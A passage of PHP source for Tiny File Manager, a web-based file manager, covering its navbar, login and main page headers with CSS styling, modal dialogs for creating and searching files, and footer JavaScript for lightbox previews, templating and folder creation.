<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
/**
* Show message from session
*/
function fm_show_message()
{
if (isset($_SESSION[FM_SESSION_ID]['message'])) {
$class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
unset($_SESSION[FM_SESSION_ID]['message']);
unset($_SESSION[FM_SESSION_ID]['status']);
}
}
/**
* Show page header in Login Form
*/
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
<title><?php echo fm_enc(APP_TITLE) ?></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
<style>
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
/**
* Show page footer in Login Form
*/
function fm_show_footer_login()
{
?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php
}
/**
* Show Header after login
*/
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
<title><?php echo fm_enc(APP_TITLE) ?></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
<?php if (FM_USE_HIGHLIGHTJS): ?>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
<?php endif; ?>
<style>
body { font-size:14px;color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a:hover, a:visited, a:focus { text-decoration:none !important; }
* { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
#search-addon2 { background:transparent;border-left:0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0 }
pre.with-hljs code { margin:0;border:0;overflow:visible }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC) }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
.ekko-lightbox .modal-dialog { max-width:98%; }
.ekko-lightbox-item.fade.in.show .row { background:#fff; }
.ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
.ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
.ekko-lightbox-nav-overlay a:hover { color:#20507D; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0 }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img {
max-width: 300px;
}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
body.theme-dark { background-color: #2f2a2a; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
.theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
<label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
<label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control">
</div>
<div class="modal-footer">
<button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</div>
</div>
</div>
<!-- Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group input-group">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<div class="input-group-append">
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</div>
</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2">Search file in folder and subfolders...</p>
</ul>
</form>
</div>
</div>
</div>
</div>
<script type="text/html" id="js-tpl-modal">
<div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<%this.content%>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
</div>
</div>
</div>
</div>
</script>
<?php
}
/**
* Show page footer
*/
function fm_show_footer()
{
?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php if (FM_USE_HIGHLIGHTJS): ?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
$(document).on('click', '[data-toggle="lightbox"]', function(event) {
event.preventDefault();
var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
$(this).ekkoLightbox({
alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
});
});
//TFM Config
window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function newfolder(e) {
var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
}
